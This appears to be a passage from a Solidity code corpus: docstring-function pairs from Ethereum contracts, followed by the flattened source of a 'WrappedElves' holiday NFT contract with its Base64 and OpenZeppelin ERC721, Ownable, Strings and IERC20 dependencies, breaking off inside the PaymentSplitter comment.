retrieves the uri of a specific token
function uri(uint256 id) public view override returns (string memory){ return tokens[id].uri; }
3,659,258
./partial_match/1/0xAd100C81305244a32372Bc307AB247864ce6c68a/sources/BKRW.sol
Called by the owner to pause, triggers stopped state return A boolean that indicates if the operation was successful./
function pause() public onlyOwner whenNotPaused returns (bool) { _paused = true; emit Paused(); return true; }
3,982,396
pragma solidity ^0.8.0; // Copyright 2020 Keyko GmbH. // SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0) // Code is Apache-2.0 and docs are CC-BY-4.0 import '@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol'; /** * @title Common functions * @author Keyko */ contract Common { using SafeMathUpgradeable for uint256; /** * @notice getCurrentBlockNumber get block number * @return the current block number */ function getCurrentBlockNumber() external view returns (uint) { return block.number; } /** * @dev isContract detect whether the address is * is a contract address or externally owned account * @return true if it is a contract address */ function isContract(address addr) public view returns (bool) { uint size; // solhint-disable-next-line assembly { size := extcodesize(addr) } return size > 0; } /** * @param _agentId The address of the agent * @param _hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param _signature Signatures provided by the agent * @return true if the signature correspond to the agent address */ function provenanceSignatureIsCorrect( address _agentId, bytes32 _hash, bytes memory _signature ) public pure returns(bool) { return ECDSAUpgradeable.recover(_hash, _signature) == _agentId; } /** * @dev Sum the total amount given an uint array * @return the total amount */ function calculateTotalAmount( uint256[] memory _amounts ) public pure returns (uint256) { uint256 _totalAmount; for(uint i; i < _amounts.length; i++) _totalAmount = _totalAmount.add(_amounts[i]); return _totalAmount; } function addressToBytes32( address _addr ) public pure returns (bytes32) { return bytes32(uint256(uint160(_addr))); } function bytes32ToAddress( bytes32 _b32 ) public pure returns (address) { return address(uint160(uint256(_b32))); } }
_agentId The address of the agent _hash bytes32 message, the hash is the signed message. What is recovered is the signer address. _signature Signatures provided by the agent return true if the signature correspond to the agent address/
function provenanceSignatureIsCorrect( address _agentId, bytes32 _hash, bytes memory _signature ) public pure returns(bool) { return ECDSAUpgradeable.recover(_hash, _signature) == _agentId; }
13,052,952
// SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; /** @notice Convenience library for Chainlink constants without pre-deployment knowlege of the chain. @dev Chain IDs: - Ethereum Mainnet 1 - Rinkeby 4 - Polygon 137 - Mumbai 80001 - geth's SimulatedBackend 1337 but only compatible if using ethier' chainlinktest package */ library Chainlink { /// @notice Returns the LINK token address for the current chain. function linkToken() internal view returns (address addr) { assembly { switch chainid() case 1 { addr := 0x514910771AF9Ca656af840dff83E8264EcF986CA } case 4 { addr := 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 } case 137 { addr := 0xb0897686c545045aFc77CF20eC7A532E3120E0F1 } case 80001 { addr := 0x326C977E6efc84E512bB9C30f76E30c160eD06FB } case 1337 { // The geth SimulatedBackend iff used with the ethier // chainlinktest package. addr := 0x55B04d60213bcfdC383a6411CEff3f759aB366d6 } } } /// @notice Returns the VRF coordinator address for the current chain. function vrfCoordinator() internal view returns (address addr) { assembly { switch chainid() case 1 { addr := 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952 } case 4 { addr := 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B } case 137 { addr := 0x3d2341ADb2D31f1c5530cDC622016af293177AE0 } case 80001 { addr := 0x8C7382F9D8f56b33781fE506E897a4F1e2d17255 } case 1337 { // The geth SimulatedBackend iff used with the ethier // chainlinktest package. addr := 0x5FfD760b2B48575f3869722cd816d8b3f94DDb48 } } } /// @notice Returns the VRF key hash for the current chain. function vrfKeyHash() internal view returns (bytes32 keyHash) { assembly { switch chainid() case 1 { keyHash := 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445 } case 4 { keyHash := 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 } case 137 { keyHash := 0xf86195cf7690c55907b2b611ebb7343a6f649bff128701cc542f0569e2c549da } case 80001 { keyHash := 0x6e75b569a01ef56d18cab6a8e71e6600d6ce853834d4a5748b720d06f878b3a4 } case 1337 { // The geth SimulatedBackend iff used with the ethier // chainlinktest package. keyHash := keccak256(0x1337, 2) } } } /** @notice Returns the VRF fee, in LINK denomination, for the current chain. */ function vrfFee() internal view returns (uint256 fee) { uint256 chainId; assembly { chainId := chainid() } // All LINK implementations have 18 decimal places, just like ETH, so // we can use the Solidity suffix to ensure the correct multiplier // whilst still being readable. if (chainId == 1 || chainId == 1337) { // 1 = mainnet // // 1337 = The geth SimulatedBackend iff used with the ethier // chainlinktest package. The same as Ethereum Mainnet to enable // testing of this library. return 2 ether; } if (chainId == 137 || chainId == 80001) { // Polygon main- and test- nets return 0.0001 ether; } if (chainId == 4) { // Rinkeby return 0.1 ether; } } }
/ All LINK implementations have 18 decimal places, just like ETH, so we can use the Solidity suffix to ensure the correct multiplier whilst still being readable. 1 = mainnet 1337 = The geth SimulatedBackend iff used with the ethier chainlinktest package. The same as Ethereum Mainnet to enable testing of this library. Polygon main- and test- nets Rinkeby
function vrfFee() internal view returns (uint256 fee) { uint256 chainId; assembly { chainId := chainid() } if (chainId == 1 || chainId == 1337) { return 2 ether; } if (chainId == 137 || chainId == 80001) { return 0.0001 ether; } if (chainId == 4) { return 0.1 ether; } }
946,483
./full_match/43113/0xbe427bf3c23fa7dbDa0bf42622127F03A994eF35/sources/BondDepository.sol
Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but performing a static call. _Available since v3.3._/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); }
7,134,114
//SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; /* --> https://welf.xyz <-- HAPPY HOLIDAYS FROM GENERALGALACTIC.ETH !! 888 8888888888b. d88888888888b. 8888888b. 88888888888888888b. 888 o 888888 Y88b d88888888 Y88b888 Y88b888 888 "Y88b 888 d8b 888888 888 d88P888888 888888 888888 888 888 888 d888b 888888 d88P d88P 888888 d88P888 d88P8888888 888 888 888d88888b8888888888P" d88P 8888888888P" 8888888P" 888 888 888 88888P Y88888888 T88b d88P 888888 888 888 888 888 8888P Y8888888 T88b d8888888888888 888 888 888 .d88P 888P Y888888 T88bd88P 888888 888 88888888888888888P" 8888888888888 888 8888888888888 .d8888b. 888 888 888 888888 d88P Y88b 888 888 888 888888 Y88b. 8888888 888 Y88b d88P8888888 "Y888b. 888 888 Y88b d88P 888 "Y88b. 888 888 Y88o88P 888 "888 888 888 Y888P 888 Y88b d88P 888888888888888888 Y8P 8888888888 "Y8888P" .-. .;;\ | /::::\|\ /::::'(); |::::' | |\/`\:_/`\/| ,__ |0_..().._0| __, \,`////""""\\\\`,/ MERRY CHRISTMAS YA FILTHY ANIMALS!!! | )//_ o o _\\( | / \/|(_) () (_)|\/ \ '--' / _:.______.;_ /| | /`\/`\ | |\ / | | \_/\_/ | | \ / |o`""""""""`o| \ `.__/ () \__.' / / \ \ | | ___ () ___ | | / \|---| |---|/ \ | (| | () | |) | \ /;---' '---;\ / `` \ ___ /\ ___ / `` `| | | |` | | | | | =| |= | jgs | | | | _._ |\|\/||\/|/| _._ / .-\ |~~~~||~~~~| /-. \ | \__.' || '.__/ | \ || / `---------''---------` */ import "base64-sol/base64.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "hardhat/console.sol"; import "./HexStrings.sol"; import "./SVGBuilder.sol"; abstract contract NFTContract { function balanceOf(address owner) external view virtual returns (uint256); } contract WrappedElves is ERC721, Ownable, PaymentSplitter { using Strings for uint256; using HexStrings for uint160; uint256 public nextTokenID; uint256 public burnCount; mapping(uint256 => bool) private unwrappedState; uint256 public constant elfPrice = 40000000000000000; uint256 public constant maxElfId = 499; // 0 -> 499 = 500 elves string private baseURI = "https://ggc.mypinata.cloud/ipfs/QmdZDwM4E78ykRwgPZReKhoQs9UjyMQR25eojQJhXbneu6/"; address private immutable floppyAddress; constructor( address _floppyAddress, address[] memory _payees, uint256[] memory _shares ) ERC721("WrappedElves", "wELF") PaymentSplitter(_payees, _shares) { floppyAddress = _floppyAddress; } function isUnwrapped(uint256 id) public view returns (bool) { return unwrappedState[id]; } function setBaseURI(string memory URI) public onlyOwner { baseURI = URI; } function _baseURI() internal view override returns (string memory) { return baseURI; } function mint() public payable { uint256 walletOwns = balanceOf(msg.sender); require(elfPrice == msg.value, "Ether value sent is not correct"); require(walletOwns == 0, "You already own an elf!"); require(nextTokenID < maxElfId, "We're maxed out on elves"); uint256 tokenID = nextTokenID; _mint(msg.sender, tokenID); nextTokenID += 1; } function magicGift(address[] calldata receivers) external onlyOwner { require( (nextTokenID + receivers.length) < maxElfId + 1, "We're maxed out on elves" ); for (uint256 i = 0; i < receivers.length; i++) { uint256 tokenID = nextTokenID; _mint(receivers[i], tokenID); nextTokenID += 1; } } function unwrap(uint256 tokenId) public { require(ownerOf(tokenId) == msg.sender, "You dont own this elf"); unwrappedState[tokenId] = true; } function wrap(uint256 tokenId) public { require(ownerOf(tokenId) == msg.sender, "You dont own this elf"); unwrappedState[tokenId] = false; } // Burning elves is hard cos we dont have a mapping from tokenID -> owner function burn(uint256 tokenId) public onlyOwner { _burn(tokenId); burnCount += 1; } function totalSupply() public view returns (uint256) { return nextTokenID - burnCount; } function tokenURI(uint256 id) public view override returns (string memory) { require(_exists(id), "Token doesn't exist."); return unwrappedState[id] ? unwrappedURI(id) : wrappedURI(id); } function ownedTokens(address owner) public view returns (uint256[] memory) { // because the max count is so low, we can be inefficient on this read. uint256 countOwnedTokens = balanceOf(owner); uint256[] memory _ownedTokens = new uint256[](countOwnedTokens); uint256 retIdx = 0; //short circuit if there are none owned if (countOwnedTokens == 0) { return _ownedTokens; } for (uint256 i = 0; i < nextTokenID; i++) { if (ownerOf(i) == owner) { _ownedTokens[retIdx] = i; retIdx++; } } return _ownedTokens; } function wrappedURI(uint256 id) internal view returns (string memory) { require(_exists(id), "Non-existent Elf"); address owner = ownerOf(id); NFTContract floppyDiskContract = NFTContract(floppyAddress); uint256 numFloppies = floppyDiskContract.balanceOf(owner); bool hasFloppies; if (numFloppies > 0) { hasFloppies = true; } string memory image = Base64.encode( bytes(SVGBuilder.makeBox(hasFloppies)) ); string memory description = "There was an accident at Santas Workshop, and 500 elves got trapped in presents! Help save them before they suffocate!\\n\\n" "Please visit https://welf.xyz to unwrap\\n\\n" "----\\n\\n" "Wrapped Elves is 500 fantastic elves hand-drawn by our wonderful friend, Shawn Smith (aka Shawnimals).\\n\\n" "Wrapped Elves are a pun-tastic holiday treat from the fine folks at General Galactic Corporation!\\n\\n" "Wrapped elves have two states: Wrapped Elves (wElf) and Unwrapped Elves. The wrapped elves are SVG on-chain packages that have an elf in them. To mint an elf, you need to participate in welf creation. To unwrap an elf, you will need to go to the welf management portal and unwrap it.\\n\\n" "If you have a wrapped elf, you must go to welf.xyz and unwrap it. Once your wELF is unwrapped, you will be able to see your wonderful elf, learn its name."; return string( abi.encodePacked( "data:application/json;base64,", Base64.encode( bytes( abi.encodePacked( '{"name":"', string( abi.encodePacked( "Wrapped Elf #", id.toString() ) ), '", "description":"', description, '", "external_url":"https://welf.xyz/?id=', id.toString(), '", "attributes": [], "owner":"', uint160(owner).toHexString(20), '", "image": "', "data:image/svg+xml;base64,", image, '"}' ) ) ) ) ); } function unwrappedURI(uint256 id) internal view returns (string memory) { require(_exists(id), "Non-existent Elf"); return string(abi.encodePacked(_baseURI(), id.toString())); } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); // require( // unwrappedState[tokenId] == false, // "PUT THE ELF BACK IN THE BOX!! (call the wrap function first)" // ); _transfer(from, to, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /// @title Base64 /// @author Brecht Devos - <[emailΒ protected]> /// @notice Provides functions for encoding/decoding base64 library Base64 { string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000" hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000" hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000" hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } function decode(string memory _data) internal pure returns (bytes memory) { bytes memory data = bytes(_data); if (data.length == 0) return new bytes(0); require(data.length % 4 == 0, "invalid base64 decoder input"); // load the table into memory bytes memory table = TABLE_DECODE; // every 4 characters represent 3 bytes uint256 decodedLen = (data.length / 4) * 3; // add some extra buffer at the end required for the writing bytes memory result = new bytes(decodedLen + 32); assembly { // padding with '=' let lastBytes := mload(add(data, mload(data))) if eq(and(lastBytes, 0xFF), 0x3d) { decodedLen := sub(decodedLen, 1) if eq(and(lastBytes, 0xFFFF), 0x3d3d) { decodedLen := sub(decodedLen, 1) } } // set the actual output length mstore(result, decodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 4 characters at a time for {} lt(dataPtr, endPtr) {} { // read 4 characters dataPtr := add(dataPtr, 4) let input := mload(dataPtr) // write 3 bytes let output := add( add( shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)), shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))), add( shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)), and(mload(add(tablePtr, and( input , 0xFF))), 0xFF) ) ) mstore(resultPtr, shl(232, output)) resultPtr := add(resultPtr, 3) } } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * 